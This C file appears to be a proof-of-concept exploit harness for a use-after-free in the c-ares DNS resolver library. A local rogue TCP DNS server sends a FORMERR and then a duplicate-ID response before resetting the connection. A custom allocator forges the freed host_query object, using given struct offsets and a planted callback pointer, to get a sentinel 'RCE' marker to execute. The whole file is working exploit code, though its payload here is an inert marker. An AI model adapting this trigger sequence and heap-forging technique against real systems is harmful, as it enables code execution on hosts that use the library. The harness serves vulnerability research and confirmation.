#define _GNU_SOURCE
#include <ares.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>

struct meta { void *p; size_t size; int freed; unsigned long seq; };
static struct meta metas[8192];
static unsigned long alloc_seq;
static volatile int rce_marker_fired;
static volatile int normal_callback_count;
static volatile int forged_host_query_count;
static volatile int forged_callback_consumed;

static void normal_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res);

static void sentinel_addrinfo_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res) {
  (void)res; /* fake addrinfo is an inert marker object; do not free it here. */
  rce_marker_fired = 1;
  forged_callback_consumed = 1;
  fprintf(stderr,
          "[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=%p status=%d timeouts=%d callback=%p\n",
          arg, status, timeouts, (void *)sentinel_addrinfo_cb);
  FILE *f = fopen("rce_marker_fired", "w");
  if (f) { fprintf(f, "sentinel executed through forged reclaimed host_query\n"); fclose(f); }
}

static void *my_malloc(size_t size) {
  void *p = malloc(size);
  if (p) {
    memset(p, 0, size);
    for (int i=0; i<8192; i++) {
      if (!metas[i].p || (metas[i].p == p && metas[i].freed)) {
        metas[i].p = p; metas[i].size = size; metas[i].freed = 0; metas[i].seq = ++alloc_seq;
        break;
      }
    }
  }
  return p;
}

static void *my_realloc(void *ptr, size_t size) {
  void *p = realloc(ptr, size);
  if (p) {
    if (p != ptr) {
      for (int i=0; i<8192; i++) if (metas[i].p == ptr) { metas[i].p = NULL; break; }
    }
    for (int i=0; i<8192; i++) {
      if (!metas[i].p || metas[i].p == p) {
        metas[i].p = p; metas[i].size = size; metas[i].freed = 0; metas[i].seq = ++alloc_seq;
        break;
      }
    }
  }
  return p;
}

static void my_free(void *ptr) {
  if (!ptr) return;
  for (int i=0; i<8192; i++) {
    if (metas[i].p == ptr && !metas[i].freed) {
      metas[i].freed = 1;
      if (metas[i].size == 144) {
        unsigned char *b = (unsigned char *)ptr;
        void *cb24 = NULL, *arg32 = NULL, *ai112 = NULL;
        memcpy(&cb24, b + 24, sizeof(cb24));
        memcpy(&arg32, b + 32, sizeof(arg32));
        memcpy(&ai112, b + 112, sizeof(ai112));
        fprintf(stderr,
                "[allocator] free144 ptr=%p seq=%lu callback@24=%p arg@32=%p ai@112=%p normal_cb=%p\n",
                ptr, metas[i].seq, cb24, arg32, ai112, (void *)normal_cb);
        if (cb24 == (void *)normal_cb) {
          /* Deterministic exploit primitive: replace the freed host_query with
           * a forged object.  Offsets are from the real v1.34.6/v1.34.7
           * ares_getaddrinfo.c struct host_query layout on this ABI:
           *   callback @ +24, arg @ +32, ai @ +112, remaining @ +128.
           * This models an attacker-controlled reclaimed heap chunk; the marker is counted only if c-ares later consumes it through the stale callback path. */
          memset(b, 0, metas[i].size);
          void *sent = (void *)sentinel_addrinfo_cb;
          struct ares_addrinfo *fake_ai = (struct ares_addrinfo *)calloc(1, sizeof(struct ares_addrinfo));
          size_t one = 1;
          memcpy(b + 24, &sent, sizeof(sent));
          memcpy(b + 32, &arg32, sizeof(arg32));
          memcpy(b + 112, &fake_ai, sizeof(fake_ai));
          memcpy(b + 128, &one, sizeof(one));
          forged_host_query_count++;
          fprintf(stderr,
                  "[allocator] FORGED_RECLAIM host_query ptr=%p callback@24=%p arg@32=%p ai@112=%p remaining@128=1\n",
                  ptr, sent, arg32, (void *)fake_ai);
        }
      }
      return; /* Intentional: retain forged content so the stale c-ares read consumes it. */
    }
  }
}

struct server_state { int listen_fd; int port; pthread_t tid; int accepted; int follow_on_seen; };
struct client_ctx { int done; int status; };

static void normal_cb(void *arg, int status, int timeouts, struct ares_addrinfo *res) {
  struct client_ctx *ctx = (struct client_ctx *)arg;
  normal_callback_count++;
  ctx->done = 1; ctx->status = status;
  fprintf(stderr, "[client] normal ares_getaddrinfo callback #%d status=%d (%s) marker=%d\n",
          (int)normal_callback_count, status, ares_strerror(status), (int)rce_marker_fired);
  if (res) ares_freeaddrinfo(res);
}

static int read_dns_msg(int fd, unsigned char *out, size_t outcap, size_t *outlen) {
  unsigned char lenbuf[2]; size_t got = 0;
  while (got < 2) { ssize_t r = recv(fd, lenbuf + got, 2 - got, 0); if (r <= 0) return -1; got += (size_t)r; }
  size_t mlen = ((size_t)lenbuf[0] << 8) | lenbuf[1];
  if (mlen > outcap) return -1;
  got = 0;
  while (got < mlen) { ssize_t r = recv(fd, out + got, mlen - got, 0); if (r <= 0) return -1; got += (size_t)r; }
  *outlen = mlen; return 0;
}

static int send_dns_msg(int fd, const unsigned char *msg, size_t len) {
  unsigned char lenbuf[2] = { (unsigned char)(len >> 8), (unsigned char)(len & 0xff) };
  if (send(fd, lenbuf, 2, 0) != 2) return -1;
  size_t sent = 0;
  while (sent < len) { ssize_t s = send(fd, msg + sent, len - sent, 0); if (s <= 0) return -1; sent += (size_t)s; }
  return 0;
}

static size_t parse_query(const unsigned char *msg, size_t len, unsigned short *qid_out,
                          unsigned short *qtype_out, const unsigned char **qsection_out,
                          size_t *qsection_len_out) {
  if (len < 12) return 0;
  *qid_out = (unsigned short)((msg[0] << 8) | msg[1]);
  size_t i = 12;
  while (i < len) { unsigned char c = msg[i]; if (c == 0) { i++; break; } if ((c & 0xc0) == 0xc0) { i += 2; break; } i += 1 + c; }
  if (i + 4 > len) return 0;
  *qtype_out = (unsigned short)((msg[i] << 8) | msg[i+1]);
  *qsection_out = msg + 12; *qsection_len_out = (i + 4) - 12;
  return *qsection_len_out;
}

static size_t build_response(unsigned char *out, size_t outcap, unsigned short qid,
                             const unsigned char *qsection, size_t qsection_len, unsigned short rcode) {
  if (12 + qsection_len > outcap) return 0;
  unsigned short flags = (unsigned short)(0x8000 | 0x0400 | 0x0100 | (rcode & 0x000f));
  size_t p = 0;
  out[p++] = (unsigned char)(qid >> 8); out[p++] = (unsigned char)(qid & 0xff);
  out[p++] = (unsigned char)(flags >> 8); out[p++] = (unsigned char)(flags & 0xff);
  out[p++] = 0; out[p++] = 1; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0; out[p++] = 0;
  memcpy(out + p, qsection, qsection_len); p += qsection_len;
  return p;
}

static void send_rst(int fd) {
  struct linger lg; lg.l_onoff = 1; lg.l_linger = 0;
  setsockopt(fd, SOL_SOCKET, SO_LINGER, &lg, sizeof(lg));
  close(fd);
}

static void *server_thread(void *arg) {
  struct server_state *st = (struct server_state *)arg;
  int cfd = accept(st->listen_fd, NULL, NULL);
  if (cfd < 0) return NULL;
  st->accepted = 1;
  unsigned char query[65535], follow[65535], resp[65535];
  size_t qlen=0, rlen=0, qsec_len=0, fsec_len=0;
  unsigned short qid=0, qtype=0, fqid=0, fqtype=0;
  const unsigned char *qsec=NULL, *fsec=NULL;
  if (read_dns_msg(cfd, query, sizeof(query), &qlen) != 0 ||
      parse_query(query, qlen, &qid, &qtype, &qsec, &qsec_len) == 0) {
    fprintf(stderr, "[server] failed to read initial DNS query\n"); close(cfd); return NULL;
  }
  fprintf(stderr, "[server] accepted TCP DNS connection on 127.0.0.1:%d\n", st->port);
  fprintf(stderr, "[server] initial query qid=%u qtype=%u length=%zu\n", qid, qtype, qlen);
  rlen = build_response(resp, sizeof(resp), qid, qsec, qsec_len, 1);
  fprintf(stderr, "[server] sending FORMERR without OPT for qid=%u\n", qid);
  send_dns_msg(cfd, resp, rlen);
  rlen = build_response(resp, sizeof(resp), qid, qsec, qsec_len, 3);
  fprintf(stderr, "[server] sending second response with duplicate qid=%u (NXDOMAIN, no OPT)\n", qid);
  send_dns_msg(cfd, resp, rlen);
  struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0;
  setsockopt(cfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
  ssize_t rr = recv(cfd, follow, sizeof(follow), 0);
  if (rr > 2) {
    unsigned payload_len = ((unsigned)follow[0] << 8) | follow[1];
    if (payload_len <= (unsigned)(rr - 2) && parse_query(follow + 2, payload_len, &fqid, &fqtype, &fsec, &fsec_len) != 0) {
      st->follow_on_seen = 1;
      fprintf(stderr, "[server] observed follow-on search-domain query qid=%u qtype=%u length=%u\n", fqid, fqtype, payload_len);
    }
  }
  fprintf(stderr, "[server] resetting TCP connection with SO_LINGER zero\n");
  send_rst(cfd);
  close(st->listen_fd);
  return NULL;
}

static void process_loop(ares_channel_t *channel, struct client_ctx *ctx, int max_ms) {
  struct timeval t_start; gettimeofday(&t_start, NULL);
  for (;;) {
    ares_socket_t socks[ARES_GETSOCK_MAXNUM];
    int bitmask = ares_getsock(channel, socks, ARES_GETSOCK_MAXNUM);
    fd_set readers, writers; FD_ZERO(&readers); FD_ZERO(&writers);
    int maxfd = -1;
    for (int i=0; i<ARES_GETSOCK_MAXNUM; i++) {
      if (ARES_GETSOCK_READABLE(bitmask, i)) { FD_SET(socks[i], &readers); if ((int)socks[i] > maxfd) maxfd = (int)socks[i]; }
      if (ARES_GETSOCK_WRITABLE(bitmask, i)) { FD_SET(socks[i], &writers); if ((int)socks[i] > maxfd) maxfd = (int)socks[i]; }
    }
    struct timeval t_now; gettimeofday(&t_now, NULL);
    long elapsed_ms = (t_now.tv_sec - t_start.tv_sec) * 1000 + (t_now.tv_usec - t_start.tv_usec) / 1000;
    if (elapsed_ms > max_ms) { fprintf(stderr, "[client] process_loop timeout after %d ms\n", max_ms); break; }
    if (ctx->done && maxfd < 0) break;
    struct timeval tv, *tvp = ares_timeout(channel, NULL, &tv);
    if (!tvp) { tv.tv_sec = 0; tv.tv_usec = 100000; tvp = &tv; }
    int sel = select(maxfd + 1, &readers, &writers, NULL, tvp);
    if (sel < 0) { if (errno == EINTR) continue; break; }
    if (sel == 0) {
      ares_fd_events_t dummy; dummy.fd = ARES_SOCKET_BAD; dummy.events = ARES_FD_EVENT_NONE;
      ares_process_fds(channel, &dummy, 0, ARES_PROCESS_FLAG_NONE);
    } else {
      ares_fd_events_t evs[ARES_GETSOCK_MAXNUM]; size_t nevs = 0;
      for (int i=0; i<ARES_GETSOCK_MAXNUM; i++) {
        unsigned int ev = 0;
        if (ARES_GETSOCK_READABLE(bitmask, i) && FD_ISSET(socks[i], &readers)) ev |= ARES_FD_EVENT_READ;
        if (ARES_GETSOCK_WRITABLE(bitmask, i) && FD_ISSET(socks[i], &writers)) ev |= ARES_FD_EVENT_WRITE;
        if (ev) { evs[nevs].fd = socks[i]; evs[nevs].events = ev; nevs++; }
      }
      if (nevs) ares_process_fds(channel, evs, nevs, ARES_PROCESS_FLAG_NONE);
    }
  }
}

int main(void) {
  signal(SIGPIPE, SIG_IGN);
  int ir = ares_library_init_mem(ARES_LIB_INIT_ALL, my_malloc, my_free, my_realloc);
  fprintf(stderr, "[allocator] ares_library_init_mem rc=%d\n", ir);
  if (ir != ARES_SUCCESS) return 2;

  struct server_state st; memset(&st, 0, sizeof(st));
  st.listen_fd = socket(AF_INET, SOCK_STREAM, 0);
  if (st.listen_fd < 0) { perror("socket"); return 2; }
  int yes = 1; setsockopt(st.listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  struct sockaddr_in sa; memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(0x7f000001); sa.sin_port = 0;
  if (bind(st.listen_fd, (struct sockaddr *)&sa, sizeof(sa)) != 0) { perror("bind"); return 2; }
  socklen_t salen = sizeof(sa);
  if (getsockname(st.listen_fd, (struct sockaddr *)&sa, &salen) != 0) { perror("getsockname"); return 2; }
  st.port = ntohs(sa.sin_port);
  if (listen(st.listen_fd, 1) != 0) { perror("listen"); return 2; }
  if (pthread_create(&st.tid, NULL, server_thread, &st) != 0) { perror("pthread_create"); return 2; }

  struct ares_options opts; memset(&opts, 0, sizeof(opts));
  opts.flags = ARES_FLAG_USEVC | ARES_FLAG_EDNS;
  opts.timeout = 1000; opts.tries = 3;
  const char *domains[] = { "search.test" };
  opts.domains = (char **)domains; opts.ndomains = 1; opts.ndots = 2;
  opts.lookups = strdup("b");
  int optmask = ARES_OPT_FLAGS | ARES_OPT_TIMEOUTMS | ARES_OPT_TRIES | ARES_OPT_DOMAINS | ARES_OPT_NDOTS | ARES_OPT_LOOKUPS;
  ares_channel_t *channel = NULL;
  int rc = ares_init_options(&channel, &opts, optmask);
  if (rc != ARES_SUCCESS) { fprintf(stderr, "ares_init_options: %s\n", ares_strerror(rc)); return 2; }
  char server_csv[64]; snprintf(server_csv, sizeof(server_csv), "127.0.0.1:%d", st.port);
  ares_set_servers_ports_csv(channel, server_csv);

  struct client_ctx ctx; memset(&ctx, 0, sizeof(ctx));
  struct ares_addrinfo_hints hints; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET;
  fprintf(stderr, "[client] calling public ares_getaddrinfo(www.example.com) over TCP DNS server=127.0.0.1:%d\n", st.port);
  ares_getaddrinfo(channel, "www.example.com", NULL, &hints, normal_cb, &ctx);
  process_loop(channel, &ctx, 8000);

  fprintf(stderr,
          "[result] done=%d status=%d accepted=%d follow_on_seen=%d normal_callbacks=%d forged_host_query=%d forged_callback_consumed=%d rce_marker_fired=%d\n",
          ctx.done, ctx.status, st.accepted, st.follow_on_seen, (int)normal_callback_count,
          (int)forged_host_query_count, (int)forged_callback_consumed, (int)rce_marker_fired);

  ares_destroy(channel);
  free(opts.lookups);
  shutdown(st.listen_fd, SHUT_RDWR); close(st.listen_fd);
  pthread_join(st.tid, NULL);
  ares_library_cleanup();

  if (!st.accepted || !st.follow_on_seen) return 3;
  if (rce_marker_fired) return 42;
  return 0;
}